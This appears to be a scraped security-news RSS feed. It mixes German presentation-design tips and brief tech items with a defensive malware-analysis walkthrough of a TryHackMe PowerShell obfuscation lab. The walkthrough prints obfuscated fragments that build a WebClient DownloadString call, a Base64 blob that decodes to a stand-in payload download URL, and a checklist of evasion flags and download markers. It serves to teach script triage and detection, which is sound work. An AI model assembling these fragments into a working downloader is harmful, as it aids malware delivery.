Was kommt wie bei meinem Publikum an? Denken Sie bei Ihrer PrÀsentation immer an Ihre Zuhörer.

Zita – shutterstock.com

Clean

AufgerĂ€umt, individuell, clean, wenig Inhalt, selbst gemacht – dies gilt nicht nur fĂŒr Fotos, sondern auch fĂŒr Icons, Illustrationen und andere eingebundene Medien. Verabschieden Sie sich von unnötigen Linien, KĂ€sten und Logos, sie lenken nur vom Wesentlichen ab. Auch inhaltlich sollte der Verlauf Ihrer PrĂ€sentation einen roten Faden haben, den Sie beim Vortrag ohne Umwege verfolgen.

Stilmix

Ein bewusstes Mixen von Stilarten ist nicht nur erlaubt, sondern ab sofort ein Muss. Aber Achtung, es sollte trotzdem alles zusammenpassen. DafĂŒr braucht es wie in der Mode ein gewisses StilgefĂŒhl: Man kann beispielsweise selbstgezeichnete bunte Figuren mit einer geometrischen Anordnung von TextkĂ€sten und einer schlichten Schrift ohne Serifen mixen, braucht dann aber eine gemeinsame Linie wie beispielsweise die gleiche Grundfarbe.

Dynamik

Der neueste Schrei in Powerpoint: Cinemagramme, also leicht bewegte Bilder und Animationen auf statischem Hintergrund. Man kann sie mit den Animationsmöglichkeiten in Powerpoint herstellen und AblĂ€ufe verdeutlichen, indem sich komplexere Diagramme, grafische Darstellungen von VorgĂ€ngen oder Organigramme Schritt fĂŒr Schritt aufbauen lassen. Damit lĂ€sst sich Aufmerksamkeit erzeugen, ohne dass es ĂŒbertrieben wirkt oder ablenkt.

Live dabei

Augmented Reality wird bei komplexen Produkten eine wichtige Rolle ĂŒbernehmen. Bauteile, Autos, Medizintechnik oder auch Architektur-EntwĂŒrfe kann man sich zur besseren Vorstellung in 3D anschauen.

Zu viel, zu voll

PrÀsentation
Große Überschrift, drei bis fĂŒnf Bullet Points und noch ein nettes Bild daneben. Nun, es geht besser.

stockfour – shutterstock.com

Mehr ist mehr? Nein, auch bei PrĂ€sentationen bewahrheitet sich immer wieder das Sprichwort “Weniger ist mehr”. Nicht jede Information, die Sie vermitteln wollen, muss auf den Folien stehen. Vergessen Sie nicht, dass Sie als Vortragender im Mittelpunkt stehen, nicht Ihre PrĂ€sentation. Diese soll lediglich die wichtigsten Zahlen und Fakten hervorheben. Dazu reicht es auch mal, wenn nur ein einziges Wort auf der Folie steht – der Rest folgt dann ĂŒber die Tonspur.

Eine PrÀsentation ist kein Handout

Sie wollen Zeit sparen und erstellen PrÀsentationen, die Sie als ausgedruckt gleich als Handout verwenden? Lassen Sie das, im besten Fall haben Sie dann ein toll gestaltetes Handout, aber eine schlechte VortragsprÀsentation. Diese sollte im Gegensatz zum Handout schnell und einfach erfassbar sein, die Kernaussagen klar in den Fokus stellen und eine eventuelle Entscheidung gut vorbereiten. Zuviel Content verwirrt und Ihre Zuhörer schweifen ab. Das Handout dagegen sollte Erinnerungen festigen und Detailfragen klÀren.

In der Farbpalette austoben

Verzichten Sie auf einen unkontrollierten Farbenmix, Ihr Corporate Design ist keine Demokratie, sondern eine berechtigte Vorgabe, um Ihr Unternehmen einheitlich nach innen und außen zu prĂ€sentieren. Mehr als zwei bis drei verschiedene Farben wirken unruhig und verhindern, dass die PrĂ€sentation wie aus einem Guss wirkt.

I like to move it, move it

Es flirrt und flattert und jede Animation, die Powerpoint bietet, wird ausprobiert? Ein absolutes No-go, das Sie unbedingt vermeiden sollten. Die Augen Ihrer Zuhörer freuen sich!

]]> <![CDATA[Anyone here using Proton Drive as their primary cloud storage on Fedora?]]> https://tsecurity.de/de/3678775/linux-tipps/anyone-here-using-proton-drive-as-their-primary-cloud-storage-on-fedora/ https://tsecurity.de/de/3678775/linux-tipps/anyone-here-using-proton-drive-as-their-primary-cloud-storage-on-fedora/ Sun, 19 Jul 2026 04:54:39 +0200 🐧 Linux Tipps tsecurity.de

Has anyone here completely switched to Proton Drive on Fedora as their primary cloud storage?

I'm curious how you're handling things like:

automatic sync

large file transfers

backups

rclone vs the official CLI

overall reliability

I've been digging into Proton Drive's Linux architecture and wrote up my findings if anyone's interested: Proton Dive on Linux

I'd love to hear how other Fedora users have set up their workflow.

submitted by /u/the_nazar
[link] [comments]]]> <![CDATA[Many Companies Use AI. Few Know How to Build an AI-Native Enterprise Data Platform.]]> https://tsecurity.de/de/3678307/ai-nachrichten/many-companies-use-ai-few-know-how-to-build-an-ai-native-enterprise-data-platform/ https://tsecurity.de/de/3678307/ai-nachrichten/many-companies-use-ai-few-know-how-to-build-an-ai-native-enterprise-data-platform/ Sat, 18 Jul 2026 19:10:27 +0200 🔧 AI Nachrichten tsecurity.de A practical enterprise AI architecture with data agents, AI-powered QA, and AI governance.

The post Many Companies Use AI. Few Know How to Build an AI-Native Enterprise Data Platform. appeared first on Towards Data Science.

]]> <![CDATA[The Laifen T1 Pro is an electric shaver with an Apple-esque aesthetic that isn't backed up by its performance]]> https://tsecurity.de/de/3678299/it-nachrichten/the-laifen-t1-pro-is-an-electric-shaver-with-an-apple-esque-aesthetic-that-isnt-backed-up-by-its-performance/ https://tsecurity.de/de/3678299/it-nachrichten/the-laifen-t1-pro-is-an-electric-shaver-with-an-apple-esque-aesthetic-that-isnt-backed-up-by-its-performance/ Sat, 18 Jul 2026 19:08:34 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[💚 Our Family's Electrotech Journey đŸŒžđŸĄđŸ”Œâ›œïžđŸš˜ïž (emf2026)]]> https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/ https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/ Sat, 18 Jul 2026 17:18:20 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]> https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/ Sat, 18 Jul 2026 11:21:48 +0200 đŸ•”ïž Hacking tsecurity.de A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab

Source: TechFusion

For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?

I recommend you first walk through this article and afterwards complete the TryHackMe lab Obfuscation: The Egg Shell File.

The core purpose of this tactical playbook is to provide you with a highly comprehensive, real-world analytical framework so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).

Let’s cut the fluff and begin:

In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using TryHackMe’s foundational lab featuring real-world PowerShell obfuscation strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its runtime behavior safely.

📋 The Script Triage Checklist

Source: BitLyft

When you capture a suspicious script execution string from your SIEM (Security Information and Event Management) logs, proceed with these steps immediately:

  • Isolate and Copy Safely: Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.
  • Identify the Execution Flags: Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.
  • Locate Network Anchors: Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.
  • Preserve Casing: Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.

Deep Dive: Stripping the Camouflage

https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812

Let’s look at an actual example of an obfuscated script layer captured directly from an initial access vector payload log.

What to look for in the image: Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this to bypass static string matching (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.

Layer 1: Undoing String Concatenation

GPT Images 2.0 generated photo

Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.

# Obfuscated string snippet
$a = "Down"; $b = "load"; $c = "String"
. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )

The Fix: You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:

# Safe evaluation technique
Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )
# Output result: DownloadString

Layer 2: Demangling Character Shuffling

GPT Images 2.0 generated image

Another popular mechanism involves using format strings to re-order components out of sequence at runtime:

"{2}{0}{1}" -f 'Net.','WebClient','New-Object

The -f operator acts as an indexing map. To decrypt it manually:

  • Position {2} grabs the 3rd element: New-Object
  • Position {0} grabs the 1st element: Net.
  • Position {1} grabs the 2nd element: WebClient

When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.

Layer 3: Defeating Base64 and XOR Rings

GPT Images 2.0 generated figure

The final boss of script obfuscation is almost always an encoded byte block. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).

To quickly unwrap these blocks without running the malicious code:

  • Copy the raw payload block inside the command string.
  • Load the payload directly into CyberChef (the open-source utility for security operations).
  • Chain together the From Base64 recipe followed by Decode Text (UTF-16LE).
Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA
Output: http://malware.net/payload.exe

By working backward through these layers, you quickly isolate the final Indicators of Compromise (IoCs) — such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.

🧠 Strategic Takeaway

(yayy)

The Obfuscation: The Egg Shell File analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.

Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an obfuscated script pipeline will always reveal its true payload target under systematic scrutiny.

By utilizing platforms like CyberChef to strip back multi-layered Base64 and XOR encoding architectures and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.

Go log into the TryHackMe room, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.

📈 Master the Art of System Forensics & Threat Intelligence

The author

Generic security training completely collapses when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.

To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:

  • Follow Pop123 on Medium for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.
  • Explore my Security and Machine Learning Projects on GitHub
  • Subscribe to direct email updates by clicking the envelope icon (✉) right next to the follow button so these critical tactical breakdowns land straight in your inbox.

Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!

For collaborations and inquiries: alexandrupp55@gmail.com

Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Shark makes some of the best vacuum cleaners — this convenient Clean & Empty model just got a tempting price cut on Amazon]]> https://tsecurity.de/de/3677596/it-nachrichten/shark-makes-some-of-the-best-vacuum-cleaners-this-convenient-clean-empty-model-just-got-a-tempting-price-cut-on-amazon/ https://tsecurity.de/de/3677596/it-nachrichten/shark-makes-some-of-the-best-vacuum-cleaners-this-convenient-clean-empty-model-just-got-a-tempting-price-cut-on-amazon/ Sat, 18 Jul 2026 09:18:20 +0200 📰 IT Nachrichten tsecurity.de